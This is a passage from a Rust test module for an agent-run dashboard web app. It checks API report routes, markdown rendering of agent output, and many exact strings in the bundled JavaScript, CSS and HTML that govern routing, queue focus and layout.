12226        v["reviews"] = serde_json::json!([{
12227            "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
12228            "e2e_deferred": true,
12229            "reviews": [{"reviewer": 1, "agent": "a", "findings": [
12230                {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
12231            ]}]
12232        }]);
12233        std::fs::write(&path, v.to_string()).unwrap();
12234        write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
12235        std::fs::write(
12236            f.runs().join("20260902-140502-dead").join("run.json"),
12237            "{not json",
12238        )
12239        .unwrap();
12240
12241        let res = f.get(&format!("/api/runs/{id}/report.json")).await;
12242
12243        assert_eq!(res.status, 200, "{}", res.body);
12244        assert!(res.headers.contains("content-type: application/json"));
12245        let j = res.json();
12246        assert_eq!(j["schema"], 1);
12247        assert_eq!(j["header"]["id"], id);
12248        assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
12249        let kinds: Vec<&str> = j["sections"]
12250            .as_array()
12251            .unwrap()
12252            .iter()
12253            .map(|s| s["kind"].as_str().unwrap())
12254            .collect();
12255        assert_eq!(kinds, ["candidates", "tally", "review"]);
12256        let tally = &j["sections"][1]["tally"];
12257        assert_eq!(
12258            (tally["decided"].clone(), tally["provisional"].clone()),
12259            (false.into(), true.into())
12260        );
12261        let round = &j["sections"][2]["rounds"][0];
12262        assert_eq!(round["e2e"]["state"], "deferred");
12263        assert_eq!(round["findings"][0]["severity"], "major");
12264        assert_eq!(round["findings"][0]["blocking"], true);
12265        assert_eq!(round["findings"][0]["state"], "open");
12266
12267        // The raw route keeps working beside it.
12268        assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
12269
12270        // An unreadable run is an error, as on the text route, and is counted.
12271        let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
12272        assert_ne!(bad.status, 200, "{}", bad.body);
12273        assert_eq!(
12274            bad.status,
12275            f.get("/api/runs/20260902-140502-dead/report").await.status
12276        );
12277        assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
12278        assert_eq!(
12279            f.get("/api/runs/20260902-999999-ffff/report.json")
12280                .await
12281                .status,
12282            404
12283        );
12284    }
12285
12286    #[tokio::test]
12287    async fn the_front_end_is_served_from_the_binary_with_types_a_phone_renders() {
12288        let f = Fixture::start().await;
12289
12290        let html = f.get("/").await;
12291        let css = f.get("/app.css").await;
12292        let js = f.get("/app.js").await;
12293
12294        assert_eq!((html.status, css.status, js.status), (200, 200, 200));
12295        assert!(
12296            html.headers
12297                .contains("content-type: text/html; charset=utf-8")
12298        );
12299        assert!(css.headers.contains("content-type: text/css"));
12300        assert!(js.headers.contains("content-type: text/javascript"));
12301        assert_eq!(html.body, INDEX_HTML, "compiled in, never read from disk");
12302    }
12303
12304    #[test]
12305    fn a_land_with_no_fix_rounds_says_so_instead_of_an_empty_rail() {
12306        let body = |name: &str| {
12307            let at = APP_JS
12308                .find(name)
12309                .unwrap_or_else(|| panic!("{name} missing"));
12310            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12311        };
12312        assert!(body("function roundRail").contains("if (round <= 0) return null;"));
12313        let note = body("function landRoundNote");
12314        assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
12315        assert!(note.contains("Land round ${round}"));
12316        let land = body("function renderLand");
12317        let note_at = land
12318            .find("landRoundNote(pr)")
12319            .expect("renderLand uses the note");
12320        assert!(
12321            note_at
12322                < land
12323                    .find("roundRail(pr)")
12324                    .expect("renderLand uses the rail")
12325        );
12326    }
12327
12328    #[test]
12329    fn the_runs_page_redesign_keeps_its_guards() {
12330        let body = |name: &str| {
12331            let at = APP_JS
12332                .find(name)
12333                .unwrap_or_else(|| panic!("{name} missing"));
12334            &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
12335        };
12336        // A null child must never reach the native append (it prints "null").
12337        let land = body("function renderLand");
12338        let land = &land[..land.find("function followupList").unwrap_or(land.len())];
12339        assert!(
12340            !land.contains("box.append("),
12341            "renderLand must use append()"
12342        );
12343        assert!(land.contains("append(box, ["));
12344        // Tabs are hash routes; the run id alone decides a reload.
12345        assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
12346        assert!(
12347            body("function applyRoute")
12348                .contains("route.name !== state.route.name || route.id !== state.route.id")
12349        );
12350        // The decorative diagram is gone, the strip and its guards stay.
12351        assert!(!APP_JS.contains("adviseConvergeDiagram"));
12352        assert!(!INDEX_HTML.contains("advise-converge"));
12353        assert!(INDEX_HTML.contains("id=\"advise-strip\""));
12354        assert!(APP_JS.contains("provisional"));
12355        for id in [
12356            "run-tab-overview",
12357            "run-tab-timeline",
12358            "run-tab-report",
12359            "run-report",
12360            "runs-scope",
12361        ] {
12362            assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
12363        }
12364        assert!(!INDEX_HTML.contains("runs-tree"));
12365        assert!(!INDEX_HTML.contains("run-raw-panel"));
12366        // Fold still says it cannot be resumed.
12367        assert!(APP_JS.contains("resume"));
12368        // The unreadable-runs count stays on the page.
12369        assert!(APP_JS.contains("unreadable"));
12370    }
12371
12372    #[test]
12373    fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
12374        assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
12375        assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
12376        assert!(APP_JS.contains("setText(\n      $(\"stats-unreadable-text\")"));
12377        assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
12378        assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
12379        // The subtitle still counts them whatever the banner does.
12380        assert!(APP_JS.contains("unreadable` : null"));
12381    }
12382
12383    #[test]
12384    fn the_run_detail_payload_says_whether_the_run_is_done() {
12385        // `landView` reads `run.done`; the detail response must carry it.
12386        for (status, done) in [
12387            (RunStatus::Superseded, true),
12388            (RunStatus::Blocked, true),
12389            (RunStatus::Landing, false),
12390        ] {
12391            let mut state = RunState::new(
12392                std::path::PathBuf::from("/repo"),
12393                "main".to_owned(),
12394                "abc".to_owned(),
12395                "x".to_owned(),
12396                crate::config::Config::default(),
12397            );
12398            state.status = status;
12399            let v = serde_json::to_value(RunDetailView::of(
12400                state,
12401                crate::run::Liveness::Unknown,
12402                None,
12403                None,
12404                None,
12405            ))
12406            .unwrap();
12407            assert_eq!(v["done"], done, "{status:?}");
12408        }
12409    }
12410
12411    /// The first node of a markdown block holds a `strong` somewhere.
12412    fn has_strong(nodes: &[md::Node]) -> bool {
12413        serde_json::to_string(nodes).unwrap().contains("strong")
12414    }
12415
12416    #[test]
12417    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
12418        let mut state = RunState::new(
12419            std::path::PathBuf::from("/repo"),
12420            "main".to_owned(),
12421            "abc".to_owned(),
12422            "x".to_owned(),
12423            crate::config::Config::default(),
12424        );
12425        let proposal = |approach: &str| {
12426            serde_json::json!({
12427                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
12428            })
12429        };
12430        state.advice = Some(
12431            serde_json::from_value(serde_json::json!({
12432                "records": [
12433                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
12434                     "proposal": proposal("do **this**")},
12435                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
12436                ],
12437                "synthesis": "- one\n- **two**\n\n`code`",
12438            }))
12439            .unwrap(),
12440        );
12441        state.candidates = serde_json::from_value(serde_json::json!([
12442            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
12443             "summary": "did **it**"},
12444            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
12445        ]))
12446        .unwrap();
12447        // Recorded in ascending severity, the reverse of how the page sorts
12448        // them: the arrays must follow the record, not the display.
12449        state.reviews = serde_json::from_value(serde_json::json!([{
12450            "round": 1, "head": "h",
12451            "reviews": [{
12452                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
12453                "findings": [
12454                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
12455                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
12456                ],
12457            }],
12458            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
12459            "fix": {"agent": "a", "notes": "fixed **it**",
12460                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
12461        }, {"round": 2, "head": "h2", "reviews": []}]))
12462        .unwrap();
12463
12464        let v = serde_json::to_value(RunDetailView::of(
12465            state,
12466            crate::run::Liveness::Unknown,
12467            None,
12468            None,
12469            None,
12470        ))
12471        .unwrap();
12472
12473        let strong = |p: &str| {
12474            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
12475            assert!(n.to_string().contains("strong"), "{p}: {n}");
12476        };
12477        strong("/advice_md/synthesis");
12478        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
12479        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
12480        strong("/advice_md/approaches/0");
12481        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
12482        strong("/candidate_summaries_md/0");
12483        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
12484        strong("/reviews_md/0/reviewers/0/summary");
12485        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
12486        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
12487        assert!(f[1].to_string().contains("strong"));
12488        strong("/reviews_md/0/reconsideration/0");
12489        strong("/reviews_md/0/fix/notes");
12490        strong("/reviews_md/0/fix/rejected/0");
12491        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
12492        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
12493        // The raw strings stay, and no schema moved.
12494        assert_eq!(v["candidates"][0]["summary"], "did **it**");
12495        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
12496    }
12497
12498    #[test]
12499    fn a_run_without_advice_has_no_advice_md() {
12500        let state = RunState::new(
12501            std::path::PathBuf::from("/repo"),
12502            "main".to_owned(),
12503            "abc".to_owned(),
12504            "x".to_owned(),
12505            crate::config::Config::default(),
12506        );
12507        let p = run_prose_md(&state);
12508        assert!(p.advice_md.is_none());
12509        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
12510    }
12511
12512    #[test]
12513    fn a_question_view_carries_markdown_for_each_thread_turn() {
12514        let home = TempDir::new().unwrap();
12515        let store = ask::Questions::at(home.path().join("questions"));
12516        let mut q = Question::new(
12517            "run".to_owned(),
12518            "implement".to_owned(),
12519            "impl-A".to_owned(),
12520            "which?".to_owned(),
12521            String::new(),
12522            Vec::new(),
12523        );
12524        q.say("plain words").unwrap();
12525        q.reply("use **this**", Vec::new()).unwrap();
12526        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12527        let bodies = &v["thread_bodies_md"];
12528        assert_eq!(bodies.as_array().unwrap().len(), 2);
12529        assert!(!bodies[0].to_string().contains("strong"));
12530        assert!(bodies[1].to_string().contains("strong"));
12531    }
12532
12533    #[test]
12534    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
12535        let home = TempDir::new().unwrap();
12536        let store = ask::Questions::at(home.path().join("questions"));
12537        let mut q = Question::new(
12538            "run".to_owned(),
12539            "conduct".to_owned(),
12540            "conduct".to_owned(),
12541            "which?".to_owned(),
12542            String::new(),
12543            Vec::new(),
12544        );
12545        q.say("plain words").unwrap();
12546        q.thread.push(ask::Turn {
12547            who: ask::Who::Agent,
12548            body: "Settled as `merge`".to_owned(),
12549            at: jiff::Timestamp::now(),
12550            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
12551        });
12552        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
12553        let notes = &v["thread_notes_md"];
12554        assert_eq!(notes.as_array().unwrap().len(), 2);
12555        assert!(notes[0].is_null());
12556        let text = notes[1].to_string();
12557        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
12558        assert!(APP_JS.contains("ask-turn-note"));
12559    }
12560
12561    #[test]
12562    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
12563        // The land panel defers to `run.status` for merged, and labels a
12564        // recorded-open PR on any finished run (superseded, blocked, ...) as
12565        // last seen, never as live state.
12566        assert!(APP_JS.contains("function landView(run, raw) {"));
12567        assert!(
12568            APP_JS.contains(
12569                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
12570            )
12571        );
12572        assert!(APP_JS.contains("const pr = landView(run, raw);"));
12573        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
12574        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
12575        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
12576    }
12577
12578    #[test]
12579    fn live_runs_are_never_hidden_or_folded_as_superseded() {
12580        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
12581        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
12582        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
12583        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
12584    }
12585
12586    #[test]
12587    fn review_rounds_label_a_distinct_verified_head() {
12588        assert!(APP_JS.contains("round.verified_head"));
12589        assert!(APP_JS.contains("verified HEAD"));
12590        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
12591    }
12592
12593    #[test]
12594    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
12595        // A blocked task's chip and note must not fall back to a queued-like
12596        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
12597        // itself by e11fc58 but never checked here.
12598        assert!(APP_JS.contains("blocked: { glyph:"));
12599        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
12600
12601        // `blocked_by` mixes task ids and question ids in the same list, and
12602        // the client can only tell them apart by checking each id against
12603        // what it actually knows - never by guessing from the id's shape.
12604        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
12605        assert!(
12606            APP_JS.contains(
12607                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
12608            ),
12609            "the note line must name what a blocked task is waiting on, not just that it is blocked"
12610        );
12611        // The classification must key off `status_str`, never off `blocked_by`
12612        // or `block_reason` merely being present - both can survive briefly
12613        // on a task a hold or a dead daemon just moved off `blocked`.
12614        assert!(APP_JS.contains("if (status === \"blocked\") {"));
12615
12616        // A question a task is blocked on gets its own node in the same
12617        // dependency graph, not just a task-shaped node with nothing known
12618        // about it.
12619        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
12620        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
12621        assert!(
12622            APP_JS.contains("location.hash = \"#/questions\";"),
12623            "a question node must jump to the Questions screen, not pretend to be a task"
12624        );
12625
12626        // `Task::answers` - decisions already made - are shown as a record on
12627        // the card, the same disclosure style as the full instruction.
12628        assert!(APP_JS.contains("Resolved questions"));
12629        assert!(APP_JS.contains("r.answersList.append("));
12630        assert!(APP_CSS.contains(".task-answers"));
12631        {
12632            let start = APP_JS
12633                .find("function updateTalkTaskRow")
12634                .expect("updateTalkTaskRow");
12635            let body = &APP_JS[start..];
12636            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
12637            assert!(
12638                body.contains(
12639                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
12640                ),
12641                "a chat-filed task row must link to the task page"
12642            );
12643            assert!(
12644                !body.contains("#/runs/") && !body.contains("#/queue/"),
12645                "the row must not branch to a run or the queue card"
12646            );
12647            assert!(APP_CSS.contains(".talk-task-link"));
12648        }
12649    }
12650
12651    #[test]
12652    fn a_task_notification_links_to_the_task_page() {
12653        // A task notice opens the task detail page, not the Backlog card.
12654        let start = APP_JS
12655            .find("function noticeLink(")
12656            .expect("noticeLink exists");
12657        let body = &APP_JS[start..];
12658        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
12659        assert!(
12660            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
12661            "a task notice's link must target the task page"
12662        );
12663        assert!(
12664            !body.contains("#/queue/"),
12665            "regression: the task link must not go back to the Backlog route"
12666        );
12667        assert!(
12668            APP_JS.contains(
12669                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
12670            ),
12671            "`#/tasks/<id>` must parse into the task route"
12672        );
12673
12674        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
12675        assert!(
12676            APP_JS.contains(
12677                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
12678            ),
12679            "`#/queue/<id>` must parse into a route carrying that id"
12680        );
12681
12682        // And the Backlog view has to actually land on the card once it can
12683        // - see consumeQueueFocus(), which renderQueue() calls on every pass
12684        // so a focus set before the queue has loaded is retried once it has.
12685        assert!(APP_JS.contains("state.queueFocus = route.id;"));
12686        assert!(APP_JS.contains("function consumeQueueFocus()"));
12687        assert!(APP_JS.contains("jumpToTask(id)"));
12688    }
12689
12690    /// Chat rows are two lines at every width: the title alone, then the
12691    /// shrinkable secondary info.
12692    #[test]
12693    fn chat_rows_put_the_title_alone_on_the_first_line() {
12694        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
12695        assert!(APP_CSS.contains(
12696            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
12697        ));
12698        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
12699        assert!(APP_JS.contains("class: \"badge talk-unread\""));
12700    }
12701
12702    #[test]
12703    fn run_rows_put_the_title_alone_on_the_first_line() {
12704        assert!(
12705            APP_CSS.contains(
12706                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
12707            )
12708        );
12709        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
12710        assert!(APP_JS.contains("class: \"card run-card\""));
12711        assert!(APP_JS.contains("class: \"repo run-id\""));
12712    }
12713
12714    /// Wide screens get a master/detail layout built from the views a phone
12715    /// drills into. These are string assertions: they pin the contract between
12716    /// the three assets, not how it looks.
12717    #[test]
12718    fn wide_screens_show_list_and_preview_side_by_side() {
12719        // One breakpoint, spelled the same in the script and the stylesheet.
12720        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
12721        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
12722        assert!(APP_CSS.contains("main[data-split]"));
12723        assert!(APP_CSS.contains("body[data-split]"));
12724
12725        // The route -> panes table, and a narrow screen opting out of it.
12726        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
12727        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
12728        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
12729        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
12730        assert!(INDEX_HTML.contains("id=\"split-empty\""));
12731
12732        // Selection is derived from the route, and only ever paints a row.
12733        assert!(APP_JS.contains("function markSelected() {"));
12734        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
12735        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
12736        // The dense row must override the stacked card the 720px block sets up.
12737        assert!(
12738            APP_CSS.contains(
12739                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
12740            )
12741        );
12742
12743        // Independent scrolling: the page stops scrolling, each pane does.
12744        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
12745        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
12746        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
12747        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
12748
12749        // A refresh must never navigate: the loaders still check that their
12750        // subject is the one on screen, and crossing the breakpoint only
12751        // re-reads the hash.
12752        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
12753        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
12754        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
12755        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
12756
12757        // The panel sandbox and its CSP are untouched by any of this.
12758        assert!(APP_JS.contains("sandbox: \"\""));
12759        assert!(!APP_JS.contains("sandbox: \"allow"));
12760    }
12761
12762    #[test]
12763    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
12764        // consumeQueueFocus() clears an active Backlog search before it can
12765        // scroll to the target card (the sections list is hidden while a
12766        // search is showing), by recursing back into renderQueue(). The
12767        // fixer's first cut nulled state.queueFocus before that recursive
12768        // call, so the second pass saw nothing to jump to and the jump was
12769        // silently dropped whenever a notification's link was opened with a
12770        // stale search still active. state.queueFocus must only be cleared
12771        // right before jumpToTask() actually runs.
12772        assert!(
12773            APP_JS.contains(
12774                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
12775            ),
12776            "the search-clearing branch must run before state.queueFocus is cleared, or the \
12777             recursive renderQueue() call has nothing left to jump to"
12778        );
12779        assert!(
12780            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
12781            "state.queueFocus must be cleared only once the jump has landed, so a card that \
12782             arrives later still gets it"
12783        );
12784        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
12785        assert!(APP_JS.contains("is not in the current Backlog."));
12786        assert!(APP_JS.contains("li.card[data-task-id=\""));
12787        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
12788        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
12789        assert!(APP_CSS.contains(".card-permalink"));
12790        assert!(APP_CSS.contains(".queue-focus-status"));
12791        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
12792    }
12793
12794    #[test]
12795    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
12796        // The task's own repro: only the link text inside .notice-meta was
12797        // clickable, so a tap on the message, the timestamp, or the card's
12798        // padding did nothing - on a phone that reads as "the card doesn't
12799        // work" even though the tiny link inside it did. Mark read / Dismiss
12800        // must keep working independently of this: `.closest("a, button")`
12801        // is what lets a tap that actually lands on those elements fall
12802        // through instead of being hijacked into a navigation.
12803        assert!(
12804            APP_JS.contains(
12805                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
12806            ),
12807            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
12808        );
12809    }
12810
12811    #[test]
12812    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
12813        assert!(
12814            APP_JS.contains("round.verified_head !== round.head"),
12815            "a round that verified an earlier commit must be visibly distinct from one that \
12816             verified the head reviewers are looking at now"
12817        );
12818        assert!(
12819            APP_JS.contains("round.verified_at"),
12820            "when a check ran must be on the wire, not just which commit"
12821        );
12822        assert!(
12823            APP_JS.contains("resource_blocked"),
12824            "a command magi never got to run (shared build cache contention) must not render \
12825             the same as a command that ran and failed"
12826        );
12827    }
12828
12829    #[test]
12830    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
12831        // Every KPI tile but Total runs and Completion names an exact
12832        // RunStatus and hands it to openRunsFiltered(), which is what wires
12833        // the click into state.runsFilter.status (matchesFilter's own
12834        // status check) rather than the coarser runsStateFilter chips. Each
12835        // status literal here must be one of the strings runSection() (and
12836        // isStale()) actually compare a run's own `status` field against -
12837        // a status this dashboard invented would filter to nothing.
12838        assert!(
12839            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
12840            "every KPI tile built through statusTile() must route its click through \
12841             openRunsFiltered, the single place that sets the Runs filter"
12842        );
12843        for (label, status) in [
12844            ("Merged", "merged"),
12845            ("Ready", "ready"),
12846            ("Blocked", "blocked"),
12847            ("Stalled", "stalled"),
12848        ] {
12849            let call = format!("statusTile(\"{label}\", t.{status}, ");
12850            assert!(
12851                APP_JS.contains(&call),
12852                "expected the {label} KPI tile built via {call}..."
12853            );
12854            assert!(
12855                APP_JS.contains(&format!("status === \"{status}\"")),
12856                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
12857                 compare a run against, not one invented only for the stats tile"
12858            );
12859        }
12860        assert!(
12861            APP_JS.contains("function openRunsFiltered(status)"),
12862            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
12863        );
12864        assert!(
12865            APP_JS.contains(
12866                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
12867            ),
12868            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
12869        );
12870        // applyRoute() only flips which view is visible for a plain `#runs`
12871        // hash - it does not itself redraw the list (see applyRoute's own
12872        // handling below) - so openRunsFiltered must call renderRuns()
12873        // itself, and must call applyRoute() too so the view flips even
12874        // when the hash string doesn't change (the operator may already be
12875        // on the Runs view when a tile is tapped, which fires no
12876        // hashchange event at all).
12877        assert!(
12878            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
12879            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
12880             hashchange event that may never fire"
12881        );
12882    }
12883
12884    #[test]
12885    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
12886        // A stats tile can leave state.runsFilter.status set to something
12887        // done-by-construction (e.g. "merged") - picking "Active" afterward
12888        // must drop it the same way an incompatible tree section is already
12889        // dropped, or the Runs list renders permanently empty with no way
12890        // for the operator to tell why.
12891        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
12892        assert!(
12893            APP_JS.contains(
12894                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
12895            ),
12896            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
12897             guard for an incompatible tree section"
12898        );
12899    }
12900
12901    #[test]
12902    fn every_stats_queue_tile_names_a_real_queue_section() {
12903        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
12904        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
12905        // (consumeQueueSectionFocus finds no matching <details> and drops
12906        // the focus) rather than fail loudly, so pin every key against the
12907        // section list it has to resolve against.
12908        assert!(
12909            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
12910            "every queue tile built through sectionTile() must route its click through \
12911             openQueueSectionFocus"
12912        );
12913        for key in ["upnext", "running", "done", "held", "blocked"] {
12914            assert!(
12915                APP_JS.contains(&format!("{{ key: \"{key}\",")),
12916                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
12917            );
12918        }
12919        // Queued and Failed intentionally both resolve to "upnext" - the
12920        // same section queueSection() itself files them under - rather than
12921        // getting a section each.
12922        for line in [
12923            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
12924            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
12925            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
12926            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
12927            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
12928            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
12929        ] {
12930            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
12931        }
12932    }
12933
12934    #[test]
12935    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
12936        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
12937        // above for the section-focus channel a stats queue tile drives:
12938        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
12939        // through the stale-search-clear recursion into renderQueue(), and
12940        // clear it only once revealQueueSection() is actually about to run -
12941        // the same trap that once silently dropped a task-focus jump.
12942        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
12943        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
12944        assert!(APP_JS.contains("function revealQueueSection(details)"));
12945        assert!(
12946            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
12947            "renderQueue() must consume both focus channels on every pass"
12948        );
12949        assert!(
12950            APP_JS.contains(
12951                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
12952            ),
12953            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
12954             the recursive renderQueue() call has nothing left to reveal"
12955        );
12956        assert!(
12957            APP_JS.contains(
12958                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
12959            ),
12960            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
12961        );
12962        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
12963        // task-focus form of the hash - a plain `#queue` navigation only
12964        // flips which view is visible. openQueueSectionFocus() must
12965        // therefore call renderQueue() itself, and applyRoute() too so the
12966        // view flips even when the hash doesn't change (the Backlog may
12967        // already be open when a tile is tapped, firing no hashchange
12968        // event at all).
12969        assert!(
12970            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
12971            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
12972             hashchange event that may never fire"
12973        );
12974    }
12975
12976    #[tokio::test]
12977    async fn the_change_stream_announces_the_current_revisions_on_connect() {
12978        let f = Fixture::start().await;
12979
12980        let mut socket = tokio::net::TcpStream::connect(f.addr)
12981            .await
12982            .expect("connect");
12983        socket
12984            .write_all(
